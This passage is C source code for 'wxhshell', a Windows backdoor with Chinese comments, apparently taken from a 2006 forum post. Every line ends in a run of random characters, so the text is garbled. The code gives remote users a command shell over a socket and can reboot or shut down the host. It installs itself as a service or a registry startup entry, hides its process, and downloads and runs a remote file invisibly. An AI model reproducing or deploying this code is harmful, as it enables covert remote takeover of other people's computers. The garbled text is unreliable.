B*,Qw_3dG  
    switch(cmd[0]) { ,iYKtS3  
  ;A3aUN;"I  
  // 帮助 Cjn)`Q8  
  case '?': { 5"cYZvGkJ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >_m4 idq1  
    break; RO9oO7S  
  } Q&;d7A.@  
  // 安装 i(pevu  
  case 'i': { |#rP~Nj)  
    if(Install()) y~jYGN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &qP@WFl  
    else t&^cYPRfY'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Dj$W?dC"^  
    break; KDW=x4*p  
    } ; ^cc-bLvF  
  // 卸载 =w/S{yC  
  case 'r': { %x5zs ]4^  
    if(Uninstall()) ,VTX7vaH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j}dev pO  
    else VJ'bS9/T  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <e%~K4KH  
    break; H5 'Le{  
    } wwI'n*Q'$  
  // 显示 wxhshell 所在路径 }ippi6b:r  
  case 'p': { 4[$D3,A  
    char svExeFile[MAX_PATH];  @U;U0  
    strcpy(svExeFile,"\n\r"); ~?x `f +  
      strcat(svExeFile,ExeFile); RE?j)$y?`  
        send(wsh,svExeFile,strlen(svExeFile),0); 4t<l9Ilp  
    break; AWqc?K@   
    } HsQ\xQ"k!  
  // 重启 d mj T$a|  
  case 'b': { ?xgrr7  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); N`Q[OFe  
    if(Boot(REBOOT)) 0 3/ <A^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nRL2Z5iO-  
    else { *?Pbk+}%  
    closesocket(wsh); TM1D|H  
    ExitThread(0); $!-a)U,w$B  
    } _);;@T  
    break; n;5;D  
    } 3"pl="[*  
  // 关机 TiF2c#Q*y  
  case 'd': { ;&9A Yh.  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *z{.9z`  
    if(Boot(SHUTDOWN)) ~LKX2Q:S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (H*d">`mz  
    else { y,OwO4+y\  
    closesocket(wsh); _H (:$=$Q  
    ExitThread(0); @jp}WwC/  
    } eK]$8l|LI  
    break; IUJRP  
    } fsxZQ=-PW  
  // 获取shell bR*/d-v^  
  case 's': { jRv j:H9  
    CmdShell(wsh); xqA XfJ.  
    closesocket(wsh); ~1`ZPLVG  
    ExitThread(0); e#uk+]  
    break; z12c9k%s  
  } i7RW8*  
  // 退出 ONkHHyT  
  case 'x': { M\f1]L|8d  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 4X prVB  
    CloseIt(wsh); U'8ub(:&  
    break; \1p_6U7  
    } =`oQcIkz  
  // 离开 ,PyA$Z  
  case 'q': { \EC=#E(  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); "Y7 ]t:8  
    closesocket(wsh); Q.N, Q`P  
    WSACleanup(); YVEin1]  
    exit(1); f4k\hUA  
    break; c_33.i"I}  
        } UQ ~7,D`=#  
  } 0qV"R7TW  
  } o.Jq1$)~y  
6a=Y_fma  
  // 提示信息 I'NE>!=Q  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;~>E^0M  
} 96&Y  
  } *Y@)t* -a  
+-|D$@8S  
  return; \40d?N#D  
} M]Y72K^  
vX'@we7Q{  
// shell模块句柄 %ys-y?r  
int CmdShell(SOCKET sock) pNHO;N[&  
{ >^  E  
STARTUPINFO si; aC&ZV}8of  
ZeroMemory(&si,sizeof(si)); -C7IUat<  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; t!g9,xG<X  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Px>Gc:!>  
PROCESS_INFORMATION ProcessInfo; bwm?\l.A  
char cmdline[]="cmd"; jmAQ!y|W.  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); SnhB$DG  
  return 0; RRNoX }  
} ;bZIj` D(  
/cy'% .!  
// 自身启动模式 -%U 15W;  
int StartFromService(void) % 1+\N  
{ iE|qU_2Y  
typedef struct U~mv1V^.  
{ mh#dnxeR  
  DWORD ExitStatus; bs%lMa.o  
  DWORD PebBaseAddress; q]\bJV^/U  
  DWORD AffinityMask; 2g6G\F  
  DWORD BasePriority; fCMH<}w  
  ULONG UniqueProcessId; 6PS #Zydb  
  ULONG InheritedFromUniqueProcessId; Ua@rp3fr  
}   PROCESS_BASIC_INFORMATION; o@o6<OP^  
myVV5#{  
PROCNTQSIP NtQueryInformationProcess; ~9:ILCfX  
Zm:Wig ,a  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _Gf.1Bsf@S  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; o H/4opV  
_/W[=c   
  HANDLE             hProcess; 6T}bD[h4?  
  PROCESS_BASIC_INFORMATION pbi; {ZS-]|Kx  
&?@gUk74"  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6;lJs,I1w{  
  if(NULL == hInst ) return 0; PC_#kz  
? 9.V@+i  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); p<|I!n&9  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); a:o Z5PX=  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Sv7_-#SW<(  
QL>G-Rp  
  if (!NtQueryInformationProcess) return 0; _)7dy2%{q  
;BEg"cm  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); m\h/D7zg  
  if(!hProcess) return 0; JeR8Mb  
r|XNS>V ,$  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <bwsK,C  
? [?{X~uq  
  CloseHandle(hProcess); yn0OPjH  
eB:OvOol*^  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); wo>srZs  
if(hProcess==NULL) return 0; EBY=ccGE{  
!OJ@ =y`i  
HMODULE hMod; ,t+5(qi  
char procName[255]; 3gW4\2|T  
unsigned long cbNeeded; K)Nbl^6x  
N#;k;Z'iL  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); r@&d88U:  
1Ftl1uf  
  CloseHandle(hProcess); 6?/$K{AI  
A2o ;YyF  
if(strstr(procName,"services")) return 1; // 以服务启动 }}3*tn<6  
Ojkbv  
  return 0; // 注册表启动 `A.!<bO)]  
} Hp_3BulS<  
P!C!E/Jf5  
// 主模块 G 1{F_  
int StartWxhshell(LPSTR lpCmdLine) eH2.,wY1  
{ //G5lW/*  
  SOCKET wsl;  J9oGw P  
BOOL val=TRUE; >Au]S `  
  int port=0; z.g'8#@  
  struct sockaddr_in door; kb?QQ\e  
}Po&6^  
  if(wscfg.ws_autoins) Install(); k/vE|  
]6{G;f$  
port=atoi(lpCmdLine); 4A%O`&eZ  
%-+lud  
if(port<=0) port=wscfg.ws_port; t_ &FK A  
>2 gemTy  
  WSADATA data; i=%wZHc;  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 6uQfe? aD  
$|!VP'VI  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   \%9,< -~[  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); @b2{'#9]}  
  door.sin_family = AF_INET; 9rX[z :  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); z3b8  
  door.sin_port = htons(port); }io9Hk>|  
"4LYqDe  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { xtKWh`[&  
closesocket(wsl); 3ug{1 M3  
return 1; 0fnd9`N!0  
}  OvU]|4h  
-IJt( X|  
  if(listen(wsl,2) == INVALID_SOCKET) { `gy]|gS#b  
closesocket(wsl); -p`hevRr  
return 1; KcVCA    
} w,]cFT  
  Wxhshell(wsl); ,,oiL  
  WSACleanup(); Vw=eC"  
=^4 vz=2  
return 0; )'M<q,@<(  
.:c^G[CQ^9  
} 7|3Z+#|T  
):eX*  
// 以NT服务方式启动 *&>1A A  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) .O'S@ %]  
{ )cB00*/  
DWORD   status = 0; E/:<9xl  
  DWORD   specificError = 0xfffffff; ?gjM]Ki%:  
_ Onsfv  
  serviceStatus.dwServiceType     = SERVICE_WIN32; aYe,5dK>  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Mw7 ~:O`  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; GiB3.%R`  
  serviceStatus.dwWin32ExitCode     = 0; a3 wUB  
  serviceStatus.dwServiceSpecificExitCode = 0; aT"q}UTK  
  serviceStatus.dwCheckPoint       = 0; PdJtJqA8h\  
  serviceStatus.dwWaitHint       = 0; }:YS$'by  
4~4PZ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Os9xZ  
  if (hServiceStatusHandle==0) return; h<i.@&  
Z=DAA+T`  
status = GetLastError(); 2}1(j  
  if (status!=NO_ERROR) G@h6>O  
{ It!%/Y5  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; =0`"T!1  
    serviceStatus.dwCheckPoint       = 0; ]7v-qd  
    serviceStatus.dwWaitHint       = 0; _h7!  
    serviceStatus.dwWin32ExitCode     = status; +Tde#T&[  
    serviceStatus.dwServiceSpecificExitCode = specificError; BBnbXhxZ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); * 4G J<  
    return; #ldNWwvRGj  
  } 4(2}O-~  
sN 1x|pkN  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING;  =w0Rq~  
  serviceStatus.dwCheckPoint       = 0; gSK (BP|  
  serviceStatus.dwWaitHint       = 0; +60zJ 4  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); &fq-U5zH  
} Skl1%`  
'@RlKMnN  
// 处理NT服务事件,比如:启动、停止 / O6n[qj|  
VOID WINAPI NTServiceHandler(DWORD fdwControl) z}yntY]n  
{ c*K-?n9YMz  
switch(fdwControl) ;%odN d  
{ 3zY"9KUN  
case SERVICE_CONTROL_STOP: ?s#DD,  
  serviceStatus.dwWin32ExitCode = 0; "P.7FD  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; {w}PV5<  
  serviceStatus.dwCheckPoint   = 0; q .nsGbl  
  serviceStatus.dwWaitHint     = 0; [3;J,P=&  
  { m!a<\0^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %FLz}QW*  
  } OF,<K%A  
  return; EU TTeFp  
case SERVICE_CONTROL_PAUSE: ,d<wEB?\`  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; BgJ;\NV  
  break; <_8\}!  
case SERVICE_CONTROL_CONTINUE: ' ~lC85  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; YN9ug3O+  
  break; FVT_%"%C9  
case SERVICE_CONTROL_INTERROGATE: .RH}/D  
  break; x "]%q^x  
}; 6cVaO@/(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); e(x1w&8dB  
} ["Ep.7=SU  
6GMQgTY^  
// 标准应用程序主函数 'CjcOI s  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Xoml  
{ 52/^>=t  
"d/x`Dx  
// 获取操作系统版本 g&O%qX-  
OsIsNt=GetOsVer(); 5R?iTB1,  
GetModuleFileName(NULL,ExeFile,MAX_PATH); G<9MbMG  
,* ?bET $  
  // 从命令行安装 k]`I 3>/L  
  if(strpbrk(lpCmdLine,"iI")) Install(); Sb>;k(;`:  
.1 .n{4z>:  
  // 下载执行文件 + B%fp*  
if(wscfg.ws_downexe) { nYY@+%` ]z  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) \gki!!HQ  
  WinExec(wscfg.ws_filenam,SW_HIDE); Nj*J~&6G  
} U: ~O^  
!FZb3U@  
if(!OsIsNt) { ;B o2$  
// 如果时win9x,隐藏进程并且设置为注册表启动 YMj z , N  
HideProc(); ;:vbOG#aSN  
StartWxhshell(lpCmdLine); ^O6PZm5J}  
} $d{{><  
else ;VeC(^-eh6  
  if(StartFromService()) ,xuqQ;JX  
  // 以服务方式启动 uXxyw7\W  
  StartServiceCtrlDispatcher(DispatchTable); ^F5[2<O/!  
else iE':ur<`  
  // 普通方式启动 )}9Ef"v|  
  StartWxhshell(lpCmdLine); [mJc c  
aN}yS=(Ff  
return 0; 4 (& W>E  
}
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只看该作者 1 发表于: 2006-10-10
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